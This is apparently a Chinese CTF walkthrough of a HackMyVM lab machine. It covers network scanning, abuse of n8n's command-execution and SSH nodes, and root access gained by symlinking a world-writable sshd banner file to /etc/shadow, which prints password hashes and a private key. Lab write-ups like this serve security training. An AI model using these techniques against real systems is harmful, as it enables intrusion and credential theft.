信息收集
┌──(root㉿kali)-[/home/kali/Desktop/hackmyvm]
└─# arp-scan -I eth1 192.168.56.0/24
Interface: eth1, type: EN10MB, MAC: 00:0c:29:34:da:f5, IPv4: 192.168.56.103
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1 0a:00:27:00:00:0e (Unknown: locally administered)
192.168.56.100 08:00:27:43:9b:54 PCS Systemtechnik GmbH
192.168.56.108 08:00:27:b9:ee:14 PCS Systemtechnik GmbH
3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.277 seconds (112.43 hosts/sec). 3 responded
┌──(root㉿kali)-[/home/kali/Desktop/hackmyvm]
└─# nmap -sC -sV 192.168.56.108
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-27 05:20 EST
Nmap scan report for 192.168.56.108
Host is up (0.00052s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http nginx
|_http-title: Site doesn't have a title (text/html).
5678/tcp open rrac?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Accept-Ranges: bytes
| Cache-Control: public, max-age=86400
| Last-Modified: Thu, 27 Feb 2025 10:18:14 GMT
| ETag: W/"7b7-19546e9fd60"
| Content-Type: text/html; charset=UTF-8
| Content-Length: 1975
| Vary: Accept-Encoding
| Date: Thu, 27 Feb 2025 10:20:31 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <script type="module" crossorigin src="/assets/polyfills-DfOJfMlf.js"></script>
| <meta charset="utf-8" />
| <meta http-equiv="X-UA-Compatible" content="IE=edge" />
| <meta name="viewport" content="width=device-width,initial-scale=1.0" />
| <link rel="icon" href="/favicon.ico" />
| <style>@media (prefers-color-scheme: dark) { body { background-color: rgb(45, 46, 46) } }</style>
| <script type="text/javascript">
| window.BASE_PATH = '/';
| window.REST_ENDPOINT = 'rest';
| </script>
| <script src="/rest/sentry.js"></script>
| <script>!function(t,e){var o,n,
| HTTPOptions, RTSPRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 143
| Vary: Accept-Encoding
| Date: Thu, 27 Feb 2025 10:20:31 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot OPTIONS /</pre>
| </body>
|_ </html>
80端口的内容
┌──(root㉿kali)-[/home/kali/Desktop/hackmyvm]
└─# curl http://192.168.56.108/
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACComGN9cfmTL7x35hlgu2RO+QW3WwCmBLSF++ZOgi9uwgAAAJAczctSHM3L
UgAAAAtzc2gtZWQyNTUxOQAAACComGN9cfmTL7x35hlgu2RO+QW3WwCmBLSF++ZOgi9uwg
AAAEAnYotUqBFoopjEVz9Sa9viQ8AhNVTx0K19TC7YQyfwAqiYY31x+ZMvvHfmGWC7ZE75
BbdbAKYEtIX75k6CL27CAAAACnNoYXdhQGhlcm8BAgM=
-----END OPENSSH PRIVATE KEY-----
将私钥保存下来解一下里面的内容
┌──(root㉿kali)-[/home/kali/Desktop/hackmyvm]
└─# ssh-keygen -y -f id_rsa
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKiYY31x+ZMvvHfmGWC7ZE75BbdbAKYEtIX75k6CL27C shawa@hero
80端口给了一个私钥。但是靶机并没有开启22端口。所以我们暂时并不知道这个私钥可以用来干什么
5678端口 5678是是一个n8n的管理页面
创建一个账号进来
测试
新建一个workflow
在加入功能的板块有一个Core
里面有一个可以执行系统命令的板块
我将它与chat连接到一起,就可以在聊天框执行系统命令
但是node用户的目录下面并没有我们想要的use.txt
在/
目录下发现了.dockerenv
文件才得知这是一个docker环境
当我得知这个环境是一个docker的时候 我的思路已经开始偏离了
我去网上搜索各种docker逃逸的方法,其他逃离出这个环境
很遗憾我尝试的办法都失败了
后来我想起来可以在这个docker
环境上面下载一个nmap
来扫描一下靶机在172.17.0.1
这个网络地址上面开启了什么服务
我在github
上下载了nmap
的源码之后尝试上传上去进行安装。但是由于种种原因未能成功安装
后来看了ll104567
的视频我得到了提示 n8n
上面可以添加远程ssh凭证
使用arp -a
可以找到主机的ip
就这样可以成功将靶机的凭证添加到n8n
上面
但是新的问题来了。
我该如何执行命令呢?
在刚才添加模块的页面我看到有一个模块可以远程执行ssh命令
将它添加进去
如何执行命令
我们成功的看到了我们希望的user.txt
提权
然后我就试着反弹一个shell
在我使用sudo -l
想要来找一些东西的时候
竟然没有sudo
???
如何我又找了具有s
权限的文件
$ find / -perm -u=s -type f 2>/dev/null
bin/bbsuid
$
但是没有sudo
我貌似无法使用。。只能再找其他的办法
我觉得自己可能被困在了busybhox环境中
然后我就又开始寻找逃逸busybox的方法
不幸
又没找到
/etc/ssh/sshd_config
中指定了Banner文件的路径Banner /opt/banner.txt
/opt $ ls -al
total 16
drw-rw-rwx 3 root root 4096 Feb 6 10:14 .
drwxr-xr-x 21 root root 4096 Feb 6 10:03 ..
-rw-rw-rw- 1 root root 16 Feb 6 10:09 banner.txt
drwx--x--x 4 root root 4096 Feb 6 10:14 containerd
这里你可以用ln -s /etc/shadow banner.txt
创建一个软链接将banner.txt
指向/root/shadow
来读取密码
当然 你也可以直接读取/root/root.txt
来获取flag
修改banner之后
再次进行ssh登录
你再这个shell中进行ssh登录密钥验证可能会无法通过
/tmp $ ssh -i id_rsa shawa@172.17.0.1
Pseudo-terminal will not be allocated because stdin is not a terminal.
Host key verification failed.
这是你需要加上-o StrictHostKeyChecking=no
禁用严格的主机密钥检查,自动接受新密钥。
$ ssh -i id_rsa -o StrictHostKeyChecking=no shawa@172.17.0.1
Pseudo-terminal will not be allocated because stdin is not a terminal.
Warning: Permanently added '172.17.0.1' (ED25519) to the list of known hosts.
#Imthepassthaty0uwant!
root:$6$WBuW3zyLro0fagui$gq9zWbt3gEpo26gkIjtgjYZqjCJtjJrJO9EHaWkglVZWwWhQiiSNmMGejRn.Q58Z9knsWP59OQqLPgt2NAWd80:20125:0:::::
bin:!::0:::::
daemon:!::0:::::
lp:!::0:::::
sync:!::0:::::
shutdown:!::0:::::
halt:!::0:::::
mail:!::0:::::
news:!::0:::::
uucp:!::0:::::
cron:!::0:::::
ftp:!::0:::::
sshd:!::0:::::
games:!::0:::::
ntp:!::0:::::
guest:!::0:::::
nobody:!::0:::::
klogd:!:20125:0:99999:7:::
chrony:!:20125:0:99999:7:::
nginx:!:20125:0:99999:7:::
shawa:$6$24FnSb8jAyKUSa4W$Z7fiPgCy1q8VTg6eF0tVe2cjlHfZEB.fswQyBWoZdY3PwV6VyckxP8OhskWf/Kgx881HhsT2uWvVPTGRpJ43T.:20125:0:99999:7:::
第一行注释就是我们想要的root
用户的密码
su
Password: Imthepassthaty0uwant!
whoami
root
id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)